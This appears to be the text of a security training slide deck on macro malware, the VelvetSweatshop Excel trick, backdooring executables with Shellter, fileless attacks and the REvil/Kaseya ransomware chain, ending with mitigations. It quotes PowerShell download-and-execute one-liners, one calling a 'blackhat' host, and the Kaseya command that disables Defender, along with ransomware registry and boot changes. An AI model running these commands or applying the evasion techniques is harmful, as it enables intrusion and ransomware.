  • 8. Are Microsoft Office documents resilient? • Office documents, such as Word and Excel files, can be password-protected using a symmetric key encryption mechanism involving one password which is the key to both encrypt and decrypt a file. • This makes the email and the attachment very suspicious, thus greatly reducing the chance that the intended victim will open the encrypted malicious attachment. • Malware writers use this key as an additional evasion technique to hide malicious code from anti-virus (AV) scanning engines. • The problem is that encrypting a file introduces the disadvantage of requiring a potential victim to enter a password (which is normally included in the phishing or spam email containing the encrypted attachment).
  • 9. VelvetSweatshop • The good news (for the attackers) is that Microsoft Excel can automatically decrypt a given encrypted spreadsheet without asking for a password if the password for encryption happens to be “VelvetSweatshop”. • This is a default key stored in Microsoft Excel program code for decryption. • It’s a neat trick that attackers can leverage to encrypt malicious Excel files in order to evade static-analysis-based detection systems, while eliminating the need for a potential victim to enter a password.
  • 10. ©2020 RSA Security, LLC., a Dell Technologies business LAB TIME C O N F I D E N T I A L
  • 11. Last year Ransomware case • When we speak about Macro threats we are talking about this… Emotet+Trickbot delivered via spearphish email with malicious Macro…
  • 13. …It can be even more complicated… Word reads cell content from XLS decrypted with VelvetSweatshop Word writes the additional cell content into XLS Cmdline: rundll32.exe shell32.dll, control_RunDll <downloaded DLL. Word macro calls for the download of encrypted XLS 1 2 3 Excel VBA downloads DLL and executes it with rundll32.exe 4
  • 15. Backdooring an exe • Have you ever downloaded a cracked a software? • If you did it, now look at this…
  • 16. Basic manual backdooring Some instructions .text Section Start .text Section Ends .Other Sections (.data/.reloc) Before Backdooring Instruction replaced with JMP Cave .text Section Start .text Section Ends .Other Sections (.data/.reloc) After Backdooring Instruction to execute after Cave Some instructions Some instructions Some instructions Some instructions CODE CAVE PUSHAD/PUSHFD Align Stack Overwritten Entry Point Instruction JMP Next Instruction SHELLCODE
  • 17. A PoC using Shellter • Shellter is equipped for re-encoding any local 32-bit independent Windows application. • Since we are endeavoring to stay away from Antivirus detection, we need to abstain from whatever may look suspicious to AV programming, for example, stuffed applications or applications that have more than one area containing executable code. • Shellter is designed for taking any of these 32-bit Windows applications and installing shellcode, either your custom payload or one accessible from such apps as Metasploit, in a way that is all the time hidden by anti-virus programming. • Since you can utilize any 32-bit application, you can make just about a vast number of signatures, making it almost unimaginable for anti-virus programming to distinguish.
  • 18. ©2020 RSA Security, LLC., a Dell Technologies business LAB TIME C O N F I D E N T I A L
  • 19. Fileless – LotL attacks
  • 20. Living off-the-land attacks • A Living off the Land (LotL) attack describes a cyberattack in which intruders use legitimate software and functions available in the system to perform malicious actions on it. • Living off the land means surviving on what you can forage, hunt, or grow in nature. • LotL cyberattack operators forage on target systems for tools, such as operating system components or installed software, they can use to achieve their goals. LotL attacks are often classified as fileless because they do not leave any artifacts behind.
  • 21. Fileless attacks Memory only malware Non-PE files Fileless loadpoint Dual-use tools Malicious Remote code such as EternalBlue and Duqu Using benign tools such as PsExec or ProcDump to do malicious actions Documents with Macro, PDFs with Javascripts and scripts (VBS, Javascript, Powershell…) Hiding scripts in the registry, WMI or GPO (e.g. Powerliks and Kovter
  • 22. Living off the land attack chain Attack Persistence Payload Exploit in memory (eternal blue) Email with Non-PE file e.g. document Macro Remote script dropper e.g. LNK with Powershell from cloud Weak or stolen credentials Filless persistence loadpoint e.g. Jscript in registry Regular non-fileless method Memory only malware e.g. SQL Slammer Dual-use tools e.g. Netsh Mamory-only payload e.g. Mirai DDoS tool Non-PE file payload e.g. Powershell script Regular non-fileless payload Persistent Non-Persistent
  • 23. Non-PE files • Scripts are very popular, especially PowerShell • Many script toolkits available • Scripts are easy to obfuscate and difficult to detect with signatures • Scripts are flexible and can be quickly adapted if needed Powershell.exe –nop –ep Bypass –noexit –c [System.Net.ServicePoint>manager]::ServerCertificateValidatorCallback = {$true}; iex ((New-Object System.Net.WebClient).DownloadString(‘[REMOVED]’)) Powershell.exe (New-Object System.Net.WebClient).DownloadFile (‘http://example.com/~blackhat/iesecv.exe’,”$env:APPDATAscvkem.exe”); Start-Process (“$env:APPDATAscvkem.exe”) Powershell.exe –nop –w hidden -encodedcommand JABzAD0ATgB1AHcALQBPAGIAagBIAagBIAGAdAAeAEkATwAuAE0AZQBtAG8Ac gB5AMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBIADYANAB TAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWAA2ADMATwBpAFMAaABi AC8ASABQADgASwBQAHEAUgBLAEwAVQAyAEMAagA1AGcANABXADEATgAxAFYAVQBCAFEAUQBCAFQAZgB1A GEAawBVAGoAeABaAFIAbwBIAGsA
  • 24. Common malware use cases for Powershell Downloader Loadpoint Lateral Movement Powershell script used to download payload to disk or memory. Often used in email attachments such as WSF or document macros Powershell script used as persistent loadpoints on Windows Often stored completely in registry (fileless) as in infections like Kovter or within WMI Powershell script remoting to execute on remote computer (Invoke- Command) Download and execute Mimikatz, etc… in order to steal credentials
  • 25. Detection challenges • If no file is written to disk security measures might not work • Lack of indicators of compromise (IoCs) for sharing • Common malware does not always use a loadpoint anymore ???
  • 26. ©2020 RSA Security, LLC., a Dell Technologies business LAB TIME C O N F I D E N T I A L
  • 27. A real case from the field
  • 28. REvil • This breach is software supply chain attack, the victim was Kaseya. • Kaseya VSA is an IT management suite, commonly used for managing software and patching for Windows OS, macOS, or third-party software. Unlike the SolarWinds attack, the attackers’ goal was monetary gain rather than cyber espionage. • The attacks have been attributed to REvil, ransomware was first identified in April 2019 according to MITRE. REvil is a ransomware family that has been linked to GOLD SOUTHFIELD, a financially motivated group that operates a “Ransomware as a service” model.
  • 29. Kaseya attack • The ransomware was delivered via a malicious update payload sent out to the Kaseya VSA server platform. The REvil gang used a Kaseya VSA zero-day vulnerability (CVE-2021-30116) in the Kaseya VSA server platform. • The “Kaseya VSA Agent Hot-fix” procedure ran the following command: "C:WINDOWSsystem32cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:WindowsSystem32WindowsPowerShellv1.0powershell.exe Set-MpPreference - DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:WindowsSystem32certutil.exe C:Windowscert.exe & echo %RANDOM% >> C:Windowscert.exe & C:Windowscert.exe -decode c:kworkingagent.crt c:kworkingagent.exe & del /q /f c:kworkingagent.crt C:Windowscert.exe & c:kworkingagent.exe • The above command: ➢ disables Windows Defender, ➢ copies and renames certutil.exe to %SystemDrive%Windows, ➢ decrypts the agent.crt file. • Certutil.exe is mostly used as a “living-off-the-land” binary and is capable of downloading and decoding web-encoded content. In order to avoid detection, the attacker copied this utility as %SystemDrive %cert.exe and executed the malicious payload agent.exe.
  • 30. Agent.exe • The agent.exe contains two resources (MODLS.RC, SOFIS.RC) in it as shown in the following image. • Agent.exe dropped these resources in the windows folder. Resources named MODLIS and SOFTIS were dropped as mpsvc.dll and MsMpEng.exe respectively. • MsMpeng.exe is an older version of Microsoft’s Antimalware Service executable which is vulnerable to a DLL side-loading attack. • In a DLL side-loading attack, malicious code is in a DLL file with a similar name which is required for the target executable.
  • 31. Agent.exe • Agent.exe then drops MsMpeng.exe and mpsvc.dll. • After dropping these two files, agent.exe executes MsMpeng.exe • When MpMseng.exe runs and calls the ServiceCrtMain, the Malicious Mpsvc.dll loads and gets loaded and executed.
  • 32. Ransomware Execution • During the loading process the DLL the malware uses ‘CreateFileMappingW’ and ‘MapViewOfFile’ APIs functions to bring code in memory and decrypt it. • The malware removes some unused magic constats from the header in the process to evade AV and EDR tools (for example the MZ, the 0x4D5A value) executing the malware as a shellcode. • During its execution the malware decrypts and bring its config file in memory as a JSON format. • Then changes the local firewall rule: “netsh advfirewall firewall set rule group==”Network Discovery” new enable=Yes”
  • 33. Ransomware Execution • The malware adds registry values under the following Registry Key. • It creates the following Registry entry: • The following values are added in HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeBlackLivesMatter HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeBlackLivesMatter: 96Ia6 = {Hex Value} Ed7 = {Hex Value} JmfOBvhb = {Hex Value} QIeQ = {Hex Value} Ucr1RB = {Hex Value} wJWsTYE = .{appended extension to files after encryption} HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon AutoAdminLogon = 1 DefaultUserName = {Current User Name} DefaultPassword = “DTrump4ever” • With the above Registry values, windows will automatically log in with new account information.
  • 34. Ransomare execution • The malware executes the following commands to force the computer to boot into safe mode with Networking: • Also, malware add the same command in Registry under • Finally, a ransom note is dropped using a random filename for example bcdedit /set {current} safeboot network HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce *MarineLePen = bcdedit /set {current} safeboot network “s5q76-readme.txt”.
  • 36. Conclusion • Nearly all targeted attack groups use system tools or fileless injection techniques in their attacks • Sandboxes, Antivirus and EDR solutions are often not able to handle these attacks properly • Fileless or LotL attacks are difficult to detect as they leave less traces and are less obvious than other attack types • Application whitelisting will not protect against these attacks and tactics • Script attacks, especially PowerShell and WMI are very common nowadays
  • 37. Technological support • Non signature-based detection is the future of EDR to enhance prevention • EDR technologies are converging and are more focused on post- execution detection nowadays • But Full EDR features are for SOC and large enterprise hunting • EDR will expand to integrate with UEBA capabilities – user risk scoring on top of malware detection…
  • 38. Mitigation & Best Practices • Monitor the use of dual-use tools inside your network • Block remote execution through PsExec and WMI (if possible) • Enable better logging and process the information (if possible) • Enable advanced account security features like MFA and login notification (if possible) • Protect against password and credential theft with behaviour based security solutions • Enforce tight controls upon RDP technologies adopted inside the perimeter